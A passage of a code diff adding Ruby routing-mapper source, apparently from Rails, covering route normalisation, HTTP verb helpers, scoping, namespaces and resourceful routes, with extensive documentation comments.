+ raise ArgumentError, "Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}"
+ end
+
+ if requirement.multiline?
+ raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{requirement.inspect}"
+ end
+ end
+
+ def normalize_defaults!
+ @defaults.merge!(scope[:defaults]) if scope[:defaults]
+ @defaults.merge!(options[:defaults]) if options[:defaults]
+
+ options.each do |key, default|
+ next if Regexp === default || IGNORE_OPTIONS.include?(key)
+ @defaults[key] = default
+ end
+
+ if options[:constraints].is_a?(Hash)
+ options[:constraints].each do |key, default|
+ next unless URL_OPTIONS.include?(key) && (String === default || Fixnum === default)
+ @defaults[key] ||= default
+ end
+ end
+
+ if Regexp === options[:format]
+ @defaults[:format] = nil
+ elsif String === options[:format]
+ @defaults[:format] = options[:format]
+ end
+ end
+
+ def normalize_conditions!
+ @conditions.merge!(:path_info => path)
+
+ constraints.each do |key, condition|
+ next if segment_keys.include?(key) || key == :controller
+ @conditions[key] = condition
+ end
+
+ @conditions[:required_defaults] = []
+ options.each do |key, required_default|
+ next if segment_keys.include?(key) || IGNORE_OPTIONS.include?(key)
+ next if Regexp === required_default
+ @conditions[:required_defaults] << key
+ end
+
+ via_all = options.delete(:via) if options[:via] == :all
+
+ if !via_all && options[:via].blank?
+ msg = "You should not use the `match` method in your router without specifying an HTTP method.\n" \
+ "If you want to expose your action to both GET and POST, add `via: [:get, :post]` option.\n" \
+ "If you want to expose your action to GET, use `get` in the router:\n" \
+ " Instead of: match \"controller#action\"\n" \
+ " Do: get \"controller#action\""
+ raise msg
+ end
+
+ if via = options[:via]
+ list = Array(via).map { |m| m.to_s.dasherize.upcase }
+ @conditions.merge!(:request_method => list)
+ end
+ end
+
+ def app
+ Constraints.new(endpoint, blocks, @set.request_class)
+ end
+
+ def default_controller_and_action
+ if to.respond_to?(:call)
+ { }
+ else
+ if to.is_a?(String)
+ controller, action = to.split('#')
+ elsif to.is_a?(Symbol)
+ action = to.to_s
+ end
+
+ controller ||= default_controller
+ action ||= default_action
+
+ unless controller.is_a?(Regexp)
+ controller = [@scope[:module], controller].compact.join("/").presence
+ end
+
+ if controller.is_a?(String) && controller =~ %r{\A/}
+ raise ArgumentError, "controller name should not start with a slash"
+ end
+
+ controller = controller.to_s unless controller.is_a?(Regexp)
+ action = action.to_s unless action.is_a?(Regexp)
+
+ if controller.blank? && segment_keys.exclude?(:controller)
+ raise ArgumentError, "missing :controller"
+ end
+
+ if action.blank? && segment_keys.exclude?(:action)
+ raise ArgumentError, "missing :action"
+ end
+
+ if controller.is_a?(String) && controller !~ /\A[a-z_0-9\/]*\z/
+ message = "'#{controller}' is not a supported controller name. This can lead to potential routing problems."
+ message << " See http://guides.rubyonrails.org/routing.html#specifying-a-controller-to-use"
+ raise ArgumentError, message
+ end
+
+ hash = {}
+ hash[:controller] = controller unless controller.blank?
+ hash[:action] = action unless action.blank?
+ hash
+ end
+ end
+
+ def blocks
+ if options[:constraints].present? && !options[:constraints].is_a?(Hash)
+ [options[:constraints]]
+ else
+ scope[:blocks] || []
+ end
+ end
+
+ def constraints
+ @constraints ||= {}.tap do |constraints|
+ constraints.merge!(scope[:constraints]) if scope[:constraints]
+
+ options.except(*IGNORE_OPTIONS).each do |key, option|
+ constraints[key] = option if Regexp === option
+ end
+
+ constraints.merge!(options[:constraints]) if options[:constraints].is_a?(Hash)
+ end
+ end
+
+ def segment_keys
+ @segment_keys ||= path_pattern.names.map{ |s| s.to_sym }
+ end
+
+ def path_pattern
+ Journey::Path::Pattern.new(strexp)
+ end
+
+ def strexp
+ Journey::Router::Strexp.compile(path, requirements, SEPARATORS)
+ end
+
+ def endpoint
+ to.respond_to?(:call) ? to : dispatcher
+ end
+
+ def dispatcher
+ Routing::RouteSet::Dispatcher.new(:defaults => defaults)
+ end
+
+ def to
+ options[:to]
+ end
+
+ def default_controller
+ options[:controller] || scope[:controller]
+ end
+
+ def default_action
+ options[:action] || scope[:action]
+ end
+ end
+
+ # Invokes Rack::Mount::Utils.normalize path and ensure that
+ # (:locale) becomes (/:locale) instead of /(:locale). Except
+ # for root cases, where the latter is the correct one.
+ def self.normalize_path(path)
+ path = Journey::Router::Utils.normalize_path(path)
+ path.gsub!(%r{/(\(+)/?}, '\1/') unless path =~ %r{^/\(+[^)]+\)$}
+ path
+ end
+
+ def self.normalize_name(name)
+ normalize_path(name)[1..-1].tr("/", "_")
+ end
+
+ module Base
+ # You can specify what Rails should route "/" to with the root method:
+ #
+ # root to: 'pages#main'
+ #
+ # For options, see +match+, as +root+ uses it internally.
+ #
+ # You can also pass a string which will expand
+ #
+ # root 'pages#main'
+ #
+ # You should put the root route at the top of <tt>config/routes.rb</tt>,
+ # because this means it will be matched first. As this is the most popular route
+ # of most Rails applications, this is beneficial.
+ def root(options = {})
+ match '/', { :as => :root, :via => :get }.merge!(options)
+ end
+
+ # Matches a url pattern to one or more routes. Any symbols in a pattern
+ # are interpreted as url query parameters and thus available as +params+
+ # in an action:
+ #
+ # # sets :controller, :action and :id in params
+ # match ':controller/:action/:id'
+ #
+ # Two of these symbols are special, +:controller+ maps to the controller
+ # and +:action+ to the controller's action. A pattern can also map
+ # wildcard segments (globs) to params:
+ #
+ # match 'songs/*category/:title', to: 'songs#show'
+ #
+ # # 'songs/rock/classic/stairway-to-heaven' sets
+ # # params[:category] = 'rock/classic'
+ # # params[:title] = 'stairway-to-heaven'
+ #
+ # When a pattern points to an internal route, the route's +:action+ and
+ # +:controller+ should be set in options or hash shorthand. Examples:
+ #
+ # match 'photos/:id' => 'photos#show'
+ # match 'photos/:id', to: 'photos#show'
+ # match 'photos/:id', controller: 'photos', action: 'show'
+ #
+ # A pattern can also point to a +Rack+ endpoint i.e. anything that
+ # responds to +call+:
+ #
+ # match 'photos/:id', to: lambda {|hash| [200, {}, ["Coming soon"]] }
+ # match 'photos/:id', to: PhotoRackApp
+ # # Yes, controller actions are just rack endpoints
+ # match 'photos/:id', to: PhotosController.action(:show)
+ #
+ # Because request various HTTP verbs with a single action has security
+ # implications, is recommendable use HttpHelpers[rdoc-ref:HttpHelpers]
+ # instead +match+
+ #
+ # === Options
+ #
+ # Any options not seen here are passed on as params with the url.
+ #
+ # [:controller]
+ # The route's controller.
+ #
+ # [:action]
+ # The route's action.
+ #
+ # [:path]
+ # The path prefix for the routes.
+ #
+ # [:module]
+ # The namespace for :controller.
+ #
+ # match 'path', to: 'c#a', module: 'sekret', controller: 'posts'
+ # #=> Sekret::PostsController
+ #
+ # See <tt>Scoping#namespace</tt> for its scope equivalent.
+ #
+ # [:as]
+ # The name used to generate routing helpers.
+ #
+ # [:via]
+ # Allowed HTTP verb(s) for route.
+ #
+ # match 'path', to: 'c#a', via: :get
+ # match 'path', to: 'c#a', via: [:get, :post]
+ # match 'path', to: 'c#a', via: :all
+ #
+ # [:to]
+ # Points to a +Rack+ endpoint. Can be an object that responds to
+ # +call+ or a string representing a controller's action.
+ #
+ # match 'path', to: 'controller#action'
+ # match 'path', to: lambda { |env| [200, {}, ["Success!"]] }
+ # match 'path', to: RackApp
+ #
+ # [:on]
+ # Shorthand for wrapping routes in a specific RESTful context. Valid
+ # values are +:member+, +:collection+, and +:new+. Only use within
+ # <tt>resource(s)</tt> block. For example:
+ #
+ # resource :bar do
+ # match 'foo', to: 'c#a', on: :member, via: [:get, :post]
+ # end
+ #
+ # Is equivalent to:
+ #
+ # resource :bar do
+ # member do
+ # match 'foo', to: 'c#a', via: [:get, :post]
+ # end
+ # end
+ #
+ # [:constraints]
+ # Constrains parameters with a hash of regular expressions
+ # or an object that responds to <tt>matches?</tt>. In addition, constraints
+ # other than path can also be specified with any object
+ # that responds to <tt>===</tt> (eg. String, Array, Range, etc.).
+ #
+ # match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }
+ #
+ # match 'json_only', constraints: { format: 'json' }
+ #
+ # class Blacklist
+ # def matches?(request) request.remote_ip == '1.2.3.4' end
+ # end
+ # match 'path', to: 'c#a', constraints: Blacklist.new
+ #
+ # See <tt>Scoping#constraints</tt> for more examples with its scope
+ # equivalent.
+ #
+ # [:defaults]
+ # Sets defaults for parameters
+ #
+ # # Sets params[:format] to 'jpg' by default
+ # match 'path', to: 'c#a', defaults: { format: 'jpg' }
+ #
+ # See <tt>Scoping#defaults</tt> for its scope equivalent.
+ #
+ # [:anchor]
+ # Boolean to anchor a <tt>match</tt> pattern. Default is true. When set to
+ # false, the pattern matches any request prefixed with the given path.
+ #
+ # # Matches any request starting with 'path'
+ # match 'path', to: 'c#a', anchor: false
+ #
+ # [:format]
+ # Allows you to specify the default value for optional +format+
+ # segment or disable it by supplying +false+.
+ def match(path, options=nil)
+ end
+
+ # Mount a Rack-based application to be used within the application.
+ #
+ # mount SomeRackApp, at: "some_route"
+ #
+ # Alternatively:
+ #
+ # mount(SomeRackApp => "some_route")
+ #
+ # For options, see +match+, as +mount+ uses it internally.
+ #
+ # All mounted applications come with routing helpers to access them.
+ # These are named after the class specified, so for the above example
+ # the helper is either +some_rack_app_path+ or +some_rack_app_url+.
+ # To customize this helper's name, use the +:as+ option:
+ #
+ # mount(SomeRackApp => "some_route", as: "exciting")
+ #
+ # This will generate the +exciting_path+ and +exciting_url+ helpers
+ # which can be used to navigate to this mounted app.
+ def mount(app, options = nil)
+ if options
+ path = options.delete(:at)
+ else
+ unless Hash === app
+ raise ArgumentError, "must be called with mount point"
+ end
+
+ options = app
+ app, path = options.find { |k, _| k.respond_to?(:call) }
+ options.delete(app) if app
+ end
+
+ raise "A rack application must be specified" unless path
+
+ options[:as] ||= app_name(app)
+ options[:via] ||= :all
+
+ match(path, options.merge(:to => app, :anchor => false, :format => false))
+
+ define_generate_prefix(app, options[:as])
+ self
+ end
+
+ def default_url_options=(options)
+ @set.default_url_options = options
+ end
+ alias_method :default_url_options, :default_url_options=
+
+ def with_default_scope(scope, &block)
+ scope(scope) do
+ instance_exec(&block)
+ end
+ end
+
+ private
+ def app_name(app)
+ return unless app.respond_to?(:routes)
+
+ if app.respond_to?(:railtie_name)
+ app.railtie_name
+ else
+ class_name = app.class.is_a?(Class) ? app.name : app.class.name
+ ActiveSupport::Inflector.underscore(class_name).tr("/", "_")
+ end
+ end
+
+ def define_generate_prefix(app, name)
+ return unless app.respond_to?(:routes) && app.routes.respond_to?(:define_mounted_helper)
+
+ _route = @set.named_routes.routes[name.to_sym]
+ _routes = @set
+ app.routes.define_mounted_helper(name)
+ app.routes.singleton_class.class_eval do
+ define_method :mounted? do
+ true
+ end
+
+ define_method :_generate_prefix do |options|
+ prefix_options = options.slice(*_route.segment_keys)
+ # we must actually delete prefix segment keys to avoid passing them to next url_for
+ _route.segment_keys.each { |k| options.delete(k) }
+ _routes.url_helpers.send("#{name}_path", prefix_options)
+ end
+ end
+ end
+ end
+
+ module HttpHelpers
+ # Define a route that only recognizes HTTP GET.
+ # For supported arguments, see match[rdoc-ref:Base#match]
+ #
+ # get 'bacon', to: 'food#bacon'
+ def get(*args, &block)
+ map_method(:get, args, &block)
+ end
+
+ # Define a route that only recognizes HTTP POST.
+ # For supported arguments, see match[rdoc-ref:Base#match]
+ #
+ # post 'bacon', to: 'food#bacon'
+ def post(*args, &block)
+ map_method(:post, args, &block)
+ end
+
+ # Define a route that only recognizes HTTP PATCH.
+ # For supported arguments, see match[rdoc-ref:Base#match]
+ #
+ # patch 'bacon', to: 'food#bacon'
+ def patch(*args, &block)
+ map_method(:patch, args, &block)
+ end
+
+ # Define a route that only recognizes HTTP PUT.
+ # For supported arguments, see match[rdoc-ref:Base#match]
+ #
+ # put 'bacon', to: 'food#bacon'
+ def put(*args, &block)
+ map_method(:put, args, &block)
+ end
+
+ # Define a route that only recognizes HTTP DELETE.
+ # For supported arguments, see match[rdoc-ref:Base#match]
+ #
+ # delete 'broccoli', to: 'food#broccoli'
+ def delete(*args, &block)
+ map_method(:delete, args, &block)
+ end
+
+ private
+ def map_method(method, args, &block)
+ options = args.extract_options!
+ options[:via] = method
+ match(*args, options, &block)
+ self
+ end
+ end
+
+ # You may wish to organize groups of controllers under a namespace.
+ # Most commonly, you might group a number of administrative controllers
+ # under an +admin+ namespace. You would place these controllers under
+ # the <tt>app/controllers/admin</tt> directory, and you can group them
+ # together in your router:
+ #
+ # namespace "admin" do
+ # resources :posts, :comments
+ # end
+ #
+ # This will create a number of routes for each of the posts and comments
+ # controller. For <tt>Admin::PostsController</tt>, Rails will create:
+ #
+ # GET /admin/posts
+ # GET /admin/posts/new
+ # POST /admin/posts
+ # GET /admin/posts/1
+ # GET /admin/posts/1/edit
+ # PATCH/PUT /admin/posts/1
+ # DELETE /admin/posts/1
+ #
+ # If you want to route /posts (without the prefix /admin) to
+ # <tt>Admin::PostsController</tt>, you could use
+ #
+ # scope module: "admin" do
+ # resources :posts
+ # end
+ #
+ # or, for a single case
+ #
+ # resources :posts, module: "admin"
+ #
+ # If you want to route /admin/posts to +PostsController+
+ # (without the Admin:: module prefix), you could use
+ #
+ # scope "/admin" do
+ # resources :posts
+ # end
+ #
+ # or, for a single case
+ #
+ # resources :posts, path: "/admin/posts"
+ #
+ # In each of these cases, the named routes remain the same as if you did
+ # not use scope. In the last case, the following paths map to
+ # +PostsController+:
+ #
+ # GET /admin/posts
+ # GET /admin/posts/new
+ # POST /admin/posts
+ # GET /admin/posts/1
+ # GET /admin/posts/1/edit
+ # PATCH/PUT /admin/posts/1
+ # DELETE /admin/posts/1
+ module Scoping
+ # Scopes a set of routes to the given default options.
+ #
+ # Take the following route definition as an example:
+ #
+ # scope path: ":account_id", as: "account" do
+ # resources :projects
+ # end
+ #
+ # This generates helpers such as +account_projects_path+, just like +resources+ does.
+ # The difference here being that the routes generated are like /:account_id/projects,
+ # rather than /accounts/:account_id/projects.
+ #
+ # === Options
+ #
+ # Takes same options as <tt>Base#match</tt> and <tt>Resources#resources</tt>.
+ #
+ # # route /posts (without the prefix /admin) to <tt>Admin::PostsController</tt>
+ # scope module: "admin" do
+ # resources :posts
+ # end
+ #
+ # # prefix the posts resource's requests with '/admin'
+ # scope path: "/admin" do
+ # resources :posts
+ # end
+ #
+ # # prefix the routing helper name: +sekret_posts_path+ instead of +posts_path+
+ # scope as: "sekret" do
+ # resources :posts
+ # end
+ def scope(*args)
+ options = args.extract_options!.dup
+ recover = {}
+
+ options[:path] = args.flatten.join('/') if args.any?
+ options[:constraints] ||= {}
+
+ if options[:constraints].is_a?(Hash)
+ defaults = options[:constraints].select do
+ |k, v| URL_OPTIONS.include?(k) && (v.is_a?(String) || v.is_a?(Fixnum))
+ end
+
+ (options[:defaults] ||= {}).reverse_merge!(defaults)
+ else
+ block, options[:constraints] = options[:constraints], {}
+ end
+
+ SCOPE_OPTIONS.each do |option|
+ if option == :blocks
+ value = block
+ elsif option == :options
+ value = options
+ else
+ value = options.delete(option)
+ end
+
+ if value
+ recover[option] = @scope[option]
+ @scope[option] = send("merge_#{option}_scope", @scope[option], value)
+ end
+ end
+
+ yield
+ self
+ ensure
+ @scope.merge!(recover)
+ end
+
+ # Scopes routes to a specific controller
+ #
+ # controller "food" do
+ # match "bacon", action: "bacon"
+ # end
+ def controller(controller, options={})
+ options[:controller] = controller
+ scope(options) { yield }
+ end
+
+ # Scopes routes to a specific namespace. For example:
+ #
+ # namespace :admin do
+ # resources :posts
+ # end
+ #
+ # This generates the following routes:
+ #
+ # admin_posts GET /admin/posts(.:format) admin/posts#index
+ # admin_posts POST /admin/posts(.:format) admin/posts#create
+ # new_admin_post GET /admin/posts/new(.:format) admin/posts#new
+ # edit_admin_post GET /admin/posts/:id/edit(.:format) admin/posts#edit
+ # admin_post GET /admin/posts/:id(.:format) admin/posts#show
+ # admin_post PATCH/PUT /admin/posts/:id(.:format) admin/posts#update
+ # admin_post DELETE /admin/posts/:id(.:format) admin/posts#destroy
+ #
+ # === Options
+ #
+ # The +:path+, +:as+, +:module+, +:shallow_path+ and +:shallow_prefix+
+ # options all default to the name of the namespace.
+ #
+ # For options, see <tt>Base#match</tt>. For +:shallow_path+ option, see
+ # <tt>Resources#resources</tt>.
+ #
+ # # accessible through /sekret/posts rather than /admin/posts
+ # namespace :admin, path: "sekret" do
+ # resources :posts
+ # end
+ #
+ # # maps to <tt>Sekret::PostsController</tt> rather than <tt>Admin::PostsController</tt>
+ # namespace :admin, module: "sekret" do
+ # resources :posts
+ # end
+ #
+ # # generates +sekret_posts_path+ rather than +admin_posts_path+
+ # namespace :admin, as: "sekret" do
+ # resources :posts
+ # end
+ def namespace(path, options = {})
+ path = path.to_s
+ options = { :path => path, :as => path, :module => path,
+ :shallow_path => path, :shallow_prefix => path }.merge!(options)
+ scope(options) { yield }
+ end
+
+ # === Parameter Restriction
+ # Allows you to constrain the nested routes based on a set of rules.
+ # For instance, in order to change the routes to allow for a dot character in the +id+ parameter:
+ #
+ # constraints(id: /\d+\.\d+/) do
+ # resources :posts
+ # end
+ #
+ # Now routes such as +/posts/1+ will no longer be valid, but +/posts/1.1+ will be.
+ # The +id+ parameter must match the constraint passed in for this example.
+ #
+ # You may use this to also restrict other parameters:
+ #
+ # resources :posts do
+ # constraints(post_id: /\d+\.\d+/) do
+ # resources :comments
+ # end
+ # end
+ #
+ # === Restricting based on IP
+ #
+ # Routes can also be constrained to an IP or a certain range of IP addresses:
+ #
+ # constraints(ip: /192\.168\.\d+\.\d+/) do
+ # resources :posts
+ # end
+ #
+ # Any user connecting from the 192.168.* range will be able to see this resource,
+ # where as any user connecting outside of this range will be told there is no such route.
+ #
+ # === Dynamic request matching
+ #
+ # Requests to routes can be constrained based on specific criteria:
+ #
+ # constraints(lambda { |req| req.env["HTTP_USER_AGENT"] =~ /iPhone/ }) do
+ # resources :iphones
+ # end
+ #
+ # You are able to move this logic out into a class if it is too complex for routes.
+ # This class must have a +matches?+ method defined on it which either returns +true+
+ # if the user should be given access to that route, or +false+ if the user should not.
+ #
+ # class Iphone
+ # def self.matches?(request)
+ # request.env["HTTP_USER_AGENT"] =~ /iPhone/
+ # end
+ # end
+ #
+ # An expected place for this code would be +lib/constraints+.
+ #
+ # This class is then used like this:
+ #
+ # constraints(Iphone) do
+ # resources :iphones
+ # end
+ def constraints(constraints = {})
+ scope(:constraints => constraints) { yield }
+ end
+
+ # Allows you to set default parameters for a route, such as this:
+ # defaults id: 'home' do
+ # match 'scoped_pages/(:id)', to: 'pages#show'
+ # end
+ # Using this, the +:id+ parameter here will default to 'home'.
+ def defaults(defaults = {})
+ scope(:defaults => defaults) { yield }
+ end
+
+ private
+ def merge_path_scope(parent, child) #:nodoc:
+ Mapper.normalize_path("#{parent}/#{child}")
+ end
+
+ def merge_shallow_path_scope(parent, child) #:nodoc:
+ Mapper.normalize_path("#{parent}/#{child}")
+ end
+
+ def merge_as_scope(parent, child) #:nodoc:
+ parent ? "#{parent}_#{child}" : child
+ end
+
+ def merge_shallow_prefix_scope(parent, child) #:nodoc:
+ parent ? "#{parent}_#{child}" : child
+ end
+
+ def merge_module_scope(parent, child) #:nodoc:
+ parent ? "#{parent}/#{child}" : child
+ end
+
+ def merge_controller_scope(parent, child) #:nodoc:
+ child
+ end
+
+ def merge_path_names_scope(parent, child) #:nodoc:
+ merge_options_scope(parent, child)
+ end
+
+ def merge_constraints_scope(parent, child) #:nodoc:
+ merge_options_scope(parent, child)
+ end
+
+ def merge_defaults_scope(parent, child) #:nodoc:
+ merge_options_scope(parent, child)
+ end
+
+ def merge_blocks_scope(parent, child) #:nodoc:
+ merged = parent ? parent.dup : []
+ merged << child if child
+ merged
+ end
+
+ def merge_options_scope(parent, child) #:nodoc:
+ (parent || {}).except(*override_keys(child)).merge!(child)
+ end
+
+ def merge_shallow_scope(parent, child) #:nodoc:
+ child ? true : false
+ end
+
+ def override_keys(child) #:nodoc:
+ child.key?(:only) || child.key?(:except) ? [:only, :except] : []
+ end
+ end
+
+ # Resource routing allows you to quickly declare all of the common routes
+ # for a given resourceful controller. Instead of declaring separate routes
+ # for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+
+ # actions, a resourceful route declares them in a single line of code:
+ #
+ # resources :photos
+ #
+ # Sometimes, you have a resource that clients always look up without
+ # referencing an ID. A common example, /profile always shows the profile of
+ # the currently logged in user. In this case, you can use a singular resource
+ # to map /profile (rather than /profile/:id) to the show action.
+ #
+ # resource :profile
+ #
+ # It's common to have resources that are logically children of other
+ # resources:
+ #
+ # resources :magazines do
+ # resources :ads
+ # end
+ #
+ # You may wish to organize groups of controllers under a namespace. Most
+ # commonly, you might group a number of administrative controllers under
+ # an +admin+ namespace. You would place these controllers under the
+ # <tt>app/controllers/admin</tt> directory, and you can group them together
+ # in your router:
+ #
+ # namespace "admin" do
+ # resources :posts, :comments
+ # end
+ #
+ # By default the +:id+ parameter doesn't accept dots. If you need to
+ # use dots as part of the +:id+ parameter add a constraint which
+ # overrides this restriction, e.g:
+ #
+ # resources :articles, id: /[^\/]+/
+ #
+ # This allows any character other than a slash as part of your +:id+.
+ #
+ module Resources
+ # CANONICAL_ACTIONS holds all actions that does not need a prefix or
+ # a path appended since they fit properly in their scope level.
+ VALID_ON_OPTIONS = [:new, :collection, :member]
+ RESOURCE_OPTIONS = [:as, :controller, :path, :only, :except, :param, :concerns]
+ CANONICAL_ACTIONS = %w(index create new show update destroy)
+ RESOURCE_METHOD_SCOPES = [:collection, :member, :new]
+ RESOURCE_SCOPES = [:resource, :resources]
+
+ class Resource #:nodoc:
+ attr_reader :controller, :path, :options, :param
+
+ def initialize(entities, options = {})
+ @name = entities.to_s
+ @path = (options[:path] || @name).to_s
+ @controller = (options[:controller] || @name).to_s
+ @as = options[:as]
+ @param = (options[:param] || :id).to_sym
+ @options = options
+ end
+
+ def default_actions
+ [:index, :create, :new, :show, :update, :destroy, :edit]
+ end
+
+ def actions
+ if only = @options[:only]
+ Array(only).map(&:to_sym)
+ elsif except = @options[:except]
+ default_actions - Array(except).map(&:to_sym)
+ else
+ default_actions
+ end
+ end
+
+ def name
+ @as || @name
+ end
+
+ def plural
+ @plural ||= name.to_s
+ end
+
+ def singular
+ @singular ||= name.to_s.singularize
+ end
+
+ alias :member_name :singular
+
+ # Checks for uncountable plurals, and appends "_index" if the plural
+ # and singular form are the same.
+ def collection_name
+ singular == plural ? "#{plural}_index" : plural
+ end
+
+ def resource_scope
+ { :controller => controller }
+ end
+
+ alias :collection_scope :path
+
+ def member_scope
+ "#{path}/:#{param}"
+ end
+
+ alias :shallow_scope :member_scope
+
+ def new_scope(new_path)
+ "#{path}/#{new_path}"
+ end
+
+ def nested_param
+ :"#{singular}_#{param}"
+ end
+
+ def nested_scope
+ "#{path}/:#{nested_param}"
+ end
+
+ end
+
+ class SingletonResource < Resource #:nodoc:
+ def initialize(entities, options)
+ super
+ @as = nil
+ @controller = (options[:controller] || plural).to_s
+ @as = options[:as]
+ end
+
+ def default_actions
+ [:show, :create, :update, :destroy, :new, :edit]
+ end
+
+ def plural
+ @plural ||= name.to_s.pluralize
+ end
+
+ def singular
+ @singular ||= name.to_s
+ end
+
+ alias :member_name :singular
+ alias :collection_name :singular
+
+ alias :member_scope :path
+ alias :nested_scope :path
+ end
+
+ def resources_path_names(options)
+ @scope[:path_names].merge!(options)
+ end
+
+ # Sometimes, you have a resource that clients always look up without
+ # referencing an ID. A common example, /profile always shows the
+ # profile of the currently logged in user. In this case, you can use
+ # a singular resource to map /profile (rather than /profile/:id) to
+ # the show action:
+ #
+ # resource :geocoder
+ #
+ # creates six different routes in your application, all mapping to
+ # the +GeoCoders+ controller (note that the controller is named after
+ # the plural):
+ #
+ # GET /geocoder/new
+ # POST /geocoder
+ # GET /geocoder
+ # GET /geocoder/edit
+ # PATCH/PUT /geocoder
+ # DELETE /geocoder
+ #
+ # === Options
+ # Takes same options as +resources+.
+ def resource(*resources, &block)
+ options = resources.extract_options!.dup
+
+ if apply_common_behavior_for(:resource, resources, options, &block)
+ return self
+ end
+
+ resource_scope(:resource, SingletonResource.new(resources.pop, options)) do
+ yield if block_given?
+
+ concerns(options[:concerns]) if options[:concerns]
+
+ collection do
+ post :create
+ end if parent_resource.actions.include?(:create)
+
+ new do
+ get :new
+ end if parent_resource.actions.include?(:new)
+
+ set_member_mappings_for_resource
+ end
+
+ self
+ end
+
+ # In Rails, a resourceful route provides a mapping between HTTP verbs
+ # and URLs and controller actions. By convention, each action also maps
+ # to particular CRUD operations in a database. A single entry in the
+ # routing file, such as
+ #
+ # resources :photos
+ #
+ # creates seven different routes in your application, all mapping to
+ # the +Photos+ controller:
+ #
+ # GET /photos
+ # GET /photos/new
+ # POST /photos
+ # GET /photos/:id
+ # GET /photos/:id/edit
+ # PATCH/PUT /photos/:id
+ # DELETE /photos/:id
+ #
+ # Resources can also be nested infinitely by using this block syntax:
+ #
+ # resources :photos do
+ # resources :comments
+ # end
+ #
+ # This generates the following comments routes:
+ #
+ # GET /photos/:photo_id/comments
+ # GET /photos/:photo_id/comments/new
+ # POST /photos/:photo_id/comments
+ # GET /photos/:photo_id/comments/:id
+ # GET /photos/:photo_id/comments/:id/edit
+ # PATCH/PUT /photos/:photo_id/comments/:id
+ # DELETE /photos/:photo_id/comments/:id
+ #
+ # === Options
+ # Takes same options as <tt>Base#match</tt> as well as:
+ #
+ # [:path_names]
+ # Allows you to change the segment component of the +edit+ and +new+ actions.
+ # Actions not specified are not changed.
+ #
+ # resources :posts, path_names: { new: "brand_new" }
+ #
+ # The above example will now change /posts/new to /posts/brand_new
+ #
+ # [:path]
+ # Allows you to change the path prefix for the resource.
+ #
+ # resources :posts, path: 'postings'
+ #
+ # The resource and all segments will now route to /postings instead of /posts
+ #
+ # [:only]
+ # Only generate routes for the given actions.
+ #
+ # resources :cows, only: :show
+ # resources :cows, only: [:show, :index]
+ #
+ # [:except]
+ # Generate all routes except for the given actions.
+ #
+ # resources :cows, except: :show
+ # resources :cows, except: [:show, :index]
+ #
+ # [:shallow]
+ # Generates shallow routes for nested resource(s). When placed on a parent resource,
+ # generates shallow routes for all nested resources.
+ #
+ # resources :posts, shallow: true do
+ # resources :comments
+ # end
+ #
+ # Is the same as:
+ #
+ # resources :posts do
+ # resources :comments, except: [:show, :edit, :update, :destroy]
+ # end
+ # resources :comments, only: [:show, :edit, :update, :destroy]
+ #
+ # This allows URLs for resources that otherwise would be deeply nested such
+ # as a comment on a blog post like <tt>/posts/a-long-permalink/comments/1234</tt>
+ # to be shortened to just <tt>/comments/1234</tt>.
+ #
+ # [:shallow_path]
+ # Prefixes nested shallow routes with the specified path.
+ #
+ # scope shallow_path: "sekret" do
+ # resources :posts do
+ # resources :comments, shallow: true
+ # end
+ # end
+ #
+ # The +comments+ resource here will have the following routes generated for it:
+ #
+ # post_comments GET /posts/:post_id/comments(.:format)
+ # post_comments POST /posts/:post_id/comments(.:format)
+ # new_post_comment GET /posts/:post_id/comments/new(.:format)
+ # edit_comment GET /sekret/comments/:id/edit(.:format)
+ # comment GET /sekret/comments/:id(.:format)
+ # comment PATCH/PUT /sekret/comments/:id(.:format)
+ # comment DELETE /sekret/comments/:id(.:format)
+ #
+ # [:shallow_prefix]
+ # Prefixes nested shallow route names with specified prefix.
+ #
+ # scope shallow_prefix: "sekret" do
+ # resources :posts do
+ # resources :comments, shallow: true
+ # end
+ # end
+ #
+ # The +comments+ resource here will have the following routes generated for it:
+ #
+ # post_comments GET /posts/:post_id/comments(.:format)
+ # post_comments POST /posts/:post_id/comments(.:format)
+ # new_post_comment GET /posts/:post_id/comments/new(.:format)
+ # edit_sekret_comment GET /comments/:id/edit(.:format)
+ # sekret_comment GET /comments/:id(.:format)
+ # sekret_comment PATCH/PUT /comments/:id(.:format)
+ # sekret_comment DELETE /comments/:id(.:format)
+ #
+ # [:format]
+ # Allows you to specify the default value for optional +format+
+ # segment or disable it by supplying +false+.
+ #
+ # === Examples
+ #
+ # # routes call <tt>Admin::PostsController</tt>
+ # resources :posts, module: "admin"
+ #
+ # # resource actions are at /admin/posts.
+ # resources :posts, path: "admin/posts"
+ def resources(*resources, &block)
+ options = resources.extract_options!.dup
+
+ if apply_common_behavior_for(:resources, resources, options, &block)
+ return self
+ end
+
+ resource_scope(:resources, Resource.new(resources.pop, options)) do
+ yield if block_given?
+
+ concerns(options[:concerns]) if options[:concerns]
+
+ collection do
+ get :index if parent_resource.actions.include?(:index)
+ post :create if parent_resource.actions.include?(:create)
+ end
+
+ new do
+ get :new
+ end if parent_resource.actions.include?(:new)
+
+ set_member_mappings_for_resource
+ end
+
+ self
+ end
+
+ # To add a route to the collection:
+ #
+ # resources :photos do
+ # collection do
+ # get 'search'
+ # end
+ # end
+ #
+ # This will enable Rails to recognize paths such as <tt>/photos/search</tt>
+ # with GET, and route to the search action of +PhotosController+. It will also
+ # create the <tt>search_photos_url</tt> and <tt>search_photos_path</tt>
+ # route helpers.
+ def collection
+ unless resource_scope?
+ raise ArgumentError, "can't use collection outside resource(s) scope"
+ end
+
+ with_scope_level(:collection) do
+ scope(parent_resource.collection_scope) do
+ yield
+ end
+ end
+ end
+
+ # To add a member route, add a member block into the resource block:
+ #
+ # resources :photos do
+ # member do
+ # get 'preview'
+ # end
+ # end
+ #
+ # This will recognize <tt>/photos/1/preview</tt> with GET, and route to the
+ # preview action of +PhotosController+. It will also create the
+ # <tt>preview_photo_url</tt> and <tt>preview_photo_path</tt> helpers.
+ def member
+ unless resource_scope?
+ raise ArgumentError, "can't use member outside resource(s) scope"
+ end
+
+ with_scope_level(:member) do
+ scope(parent_resource.member_scope) do
+ yield
+ end
+ end
+ end
+
+ def new
+ unless resource_scope?
+ raise ArgumentError, "can't use new outside resource(s) scope"
+ end
+
+ with_scope_level(:new) do
+ scope(parent_resource.new_scope(action_path(:new))) do
+ yield
+ end
+ end
+ end
+
+ def nested
+ unless resource_scope?
